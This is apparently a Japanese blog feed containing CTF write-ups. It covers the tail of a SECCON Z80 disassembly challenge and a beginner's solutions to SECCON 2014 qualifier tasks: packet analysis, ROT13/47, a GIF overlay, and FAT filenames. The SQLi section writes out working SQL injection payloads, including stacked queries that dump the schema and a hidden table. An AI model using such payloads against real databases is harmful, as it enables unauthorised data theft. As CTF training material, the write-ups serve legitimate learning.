&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code4_op: SET 2,(IY+d)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;asm_code: SET 2,(IY+9CH)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sendstr: SET 2,(IY+9CH)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;68
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: Something wrong, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;うーん。ちゃんと早朝から取り組めば間に合ったかもです。&lt;/p&gt;
&lt;p&gt;でも、ここまでやって200点とはやはりチームでやらないと厳しいですね。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;【追記】せっかくここまでやったので、プログラムを仕上げました。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;dの値がマイナスがあることを忘れていて悩んでしまいました。修正点は&lt;a class="link" href="https://github.com/kanpapa/ctf/blob/master/lets_disassemble.py" title="lets_disassemble.py"
 target="_blank" rel="noopener"
 &gt;Github&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;p&gt;最終結果は以下の通りでフラグも取れました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ python lets_disassemble.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;z80asm_len: 256
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;z80_ddasm_len: 256
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;z80_ddcbasm_len: 256
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;z80_fdcbasm_len: 256
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0recvstr: #1 : B0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line1: #1 : B0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line2: ?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strlist: [&amp;#39;#1&amp;#39;, &amp;#39;:&amp;#39;, &amp;#39;B0&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code_len: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1: B0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1_num: 176
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1_op: OR B
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;asm_code: OR B
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sendstr: OR B
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: #2 : FA 74 2E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line1: #2 : FA 74 2E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line2: ?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strlist: [&amp;#39;#2&amp;#39;, &amp;#39;:&amp;#39;, &amp;#39;FA&amp;#39;, &amp;#39;74&amp;#39;, &amp;#39;2E&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code_len: 3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1: FA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code2_op: BIT 7,E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;asm_code: BIT 7,E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sendstr: BIT 7,E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;99
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: #100 : CB 2F
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line1: #100 : CB 2F
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line2: ?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strlist: [&amp;#39;#100&amp;#39;, &amp;#39;:&amp;#39;, &amp;#39;CB&amp;#39;, &amp;#39;2F&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code_len: 2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code2_num: 47
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code2_op: SRA A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;asm_code: SRA A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sendstr: SRA A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: Congratulations!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: The flag is SECCON{I love Z80. How about you?}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="まとめ"&gt;まとめ
&lt;/h2&gt;&lt;p&gt;今回はプログラムを作らないと解決できないところがあり初めてPythonを使ってみました。見るにたえないプログラムだと思いますが、こんなプログラムでも参考になればということでGithubに入れておきました。&lt;/p&gt;</description></item><item><title>SECCON 2014 CTFに初めて参加しました</title><link>https://kanpapa.com/2014/07/seccon-2014-ctf.html</link><pubDate>Mon, 21 Jul 2014 00:00:00 +0000</pubDate><guid>https://kanpapa.com/2014/07/seccon-2014-ctf.html</guid><description>&lt;img src="https://kanpapa.com/2014/07/seccon-2014-ctf/images/WS000000.jpg" alt="Featured image of post SECCON 2014 CTFに初めて参加しました" /&gt;&lt;p&gt;先日、CTF for Beginnersに参加しましたので、初めてCTF予選にも参加してみました。&lt;/p&gt;
&lt;p&gt;解いた問題は以下の６つです。合計で600点獲得できました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;練習問題（100点）&lt;/li&gt;
&lt;li&gt;このパケットを解析せよ（100点）&lt;/li&gt;
&lt;li&gt;decode me（100点）&lt;/li&gt;
&lt;li&gt;箱庭SQLiチャレンジ（100点）&lt;/li&gt;
&lt;li&gt;重ねてみよう（100点）&lt;/li&gt;
&lt;li&gt;879,394bytes（100点）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CTF初心者ですが、Write-upを書いてみました。&lt;/p&gt;
&lt;h2 id="練習問題"&gt;練習問題
&lt;/h2&gt;&lt;p&gt;練習用の問題で、単純にFlagを入力するだけです。&lt;/p&gt;
&lt;h2 id="このパケットを解析せよ"&gt;このパケットを解析せよ
&lt;/h2&gt;&lt;p&gt;seccon2014.pcapngをWiresharkに読み込んだところ、FTPの通信ログのようです。flag.txtというファイルをGETしていましたので、このファイルのデータを読んだところこんな内容が。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RkxBR3tGN1AgMTUgTjA3IDUzQ1VSM30=
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;BASE64ぽいのでデコードしたらFlagがでてきました。&lt;/p&gt;
&lt;h2 id="decode-me"&gt;decode me
&lt;/h2&gt;&lt;p&gt;encoded.txtの内容をバイナリエディタでみたところ、&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FRPPBA 2014
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ebg13/47
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;という文字列が。&lt;/p&gt;
&lt;p&gt;FRPPBA 2014はSECCON 2014なのかなと推測し、並べてみたところ規則性が。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FRPPBA 2014→SECCON 2014
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これってROT13という暗号方式らしいです。でもバイナリをみる限りどうも2バイト文字も含まれているようで、それを扱うにはROT47というものがあるらしいです。&lt;/p&gt;
&lt;p&gt;これも ebg13/47 → rot13/47 と一致しますし。&lt;/p&gt;
&lt;p&gt;これを扱えるツールはnkfらしいので、Windows版のnkfをインストールして、表示してみたら・・・&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;nkf -r encoded.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SECCON 2014 に参加のみなさまこんにちは。 rot13/47 に気付くとは流石です。 ｎｋｆコマンドで簡単にデコードできることにも気付きましたか？ というわけで、おめでとうございます！ フラグは半角英数文字に変換してから入力してください。 ＦＬＡＧ｛Ｈａｖｅ　ｆｕｎ　ＳＥＣＣＯＮ２０１４｝
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これでFlagがとれました。&lt;/p&gt;
&lt;h2 id="箱庭sqliチャレンジ"&gt;箱庭SQLiチャレンジ
&lt;/h2&gt;&lt;p&gt;手始めに以下を入力&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39; OR 1=1--
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ID=0 NAME=Tanaka AGE=54 ADDRESS=Tokyo SALARY=90000.0 ID=1 NAME=Paul AGE=32 ADDRESS=California SALARY=20000.0 ID=2 NAME=Allen AGE=25 ADDRESS=Texas SALARY=15000.0 ID=3 NAME=Teddy AGE=23 ADDRESS=Norway SALARY=20000.0 ID=4 NAME=Mark AGE=25 ADDRESS=Rich-Mond SALARY=65000.0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;おやおや。丸見えです。でも、Flagはここではなさそうです。&lt;/p&gt;
&lt;p&gt;他のテーブルをみてみたいので次のように入力。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39; OR 1=1 ; SELECT sql FROM sqlite_master; --
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ID=0 NAME=Tanaka AGE=54 ADDRESS=Tokyo SALARY=90000.0 ID=1 NAME=Paul AGE=32 ADDRESS=California SALARY=20000.0 ID=2 NAME=Allen AGE=25 ADDRESS=Texas SALARY=15000.0 ID=3 NAME=Teddy AGE=23 ADDRESS=Norway SALARY=20000.0 ID=4 NAME=Mark AGE=25 ADDRESS=Rich-Mond SALARY=65000.0 sql=CREATE TABLE COMPANY(ID INT PRIMARY KEY NOT NULL, NAME TEXT NOT NULL,AGE INT NOT NULL, ADDRESS CHAR(50), SALARY REAL ) sql=NULL sql=CREATE TABLE SECCON(FLAG TEXT NOT NULL)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;SQLコマンドの履歴が見えました。CREATE TABLEでテーブル名やスキーマがわかりました。SECCONというテーブルがあるようです。しかも、FLAG というTEXTがあります。これですね。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39; OR 1=1 ; SELECT * FROM SECCON; --
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ID=0 NAME=Tanaka AGE=54 ADDRESS=Tokyo SALARY=90000.0 ID=1 NAME=Paul AGE=32 ADDRESS=California SALARY=20000.0 ID=2 NAME=Allen AGE=25 ADDRESS=Texas SALARY=15000.0 ID=3 NAME=Teddy AGE=23 ADDRESS=Norway SALARY=20000.0 ID=4 NAME=Mark AGE=25 ADDRESS=Rich-Mond SALARY=65000.0 FLAG=FLAG{EnjoySQLi}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これでFlagがとれました。&lt;/p&gt;
&lt;h2 id="重ねてみよう"&gt;重ねてみよう
&lt;/h2&gt;&lt;p&gt;afterimage.gifというアニメーションGIFのファイルが提供されました。白い点がランダムに表示されるものです。&lt;/p&gt;
&lt;p&gt;&lt;img alt="afterimage.jpg" class="gallery-image" data-flex-basis="240px" data-flex-grow="100" height="164" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2014/07/seccon-2014-ctf/images/afterimage.jpg" width="164"&gt;&lt;/p&gt;
&lt;p&gt;問題の通り各コマを重ねると何か見えるのでしょう。&lt;/p&gt;
&lt;p&gt;とりあえずアニメーションGIFを作成するようなツールを探してみたところ、Giamというツールがありましたので、これでafterimage.gifを読み込みました。次にツールで重ねて表示してみたところ、&lt;/p&gt;
&lt;p&gt;&lt;img alt="WS000000.jpg" class="gallery-image" data-flex-basis="179px" data-flex-grow="74" height="332" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2014/07/seccon-2014-ctf/images/WS000000.jpg" width="248"&gt;&lt;/p&gt;
&lt;p&gt;QRコードらしきものが現れました。画像を白黒反転をしてiPhoneのQRコードで読み取るとFlagがとれました。&lt;/p&gt;
&lt;h2 id="879394bytes"&gt;879,394bytes
&lt;/h2&gt;&lt;p&gt;Filesystem001.binというファイルシステムのデータのようです。&lt;/p&gt;
&lt;p&gt;ファイルサイズが 879,394bytesのファイル名を答えろとのことなので、とりあえず879,394をHEXにしたところ、D6B22になります。これがファイルサイズとしてどこかにあるはずです。&lt;/p&gt;
&lt;p&gt;たぶんFAT32だと思うので、バイナリエディタで開いてファイル名らしきものをキーにFATの構造に照らし合わせてファイルサイズが先ほどのHEX値と同じものを見つけました。でもロングファイル名のようです。次にVFATの構造と照らし合わせて、ロングファイル名を求めました。それがFlagでした。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ
&lt;/h2&gt;&lt;p&gt;以上、今回は初めての参加で、100点の問題ばかりで終わってしまいましたが、参加されたかたのwrite-upを参考にしてテクニックを身につけたいと思います。&lt;/p&gt;
&lt;p&gt;でもFlagがとれたときは気持ちいいですね。次回もぜひ参加してみたいと思います。&lt;/p&gt;</description></item></channel></rss>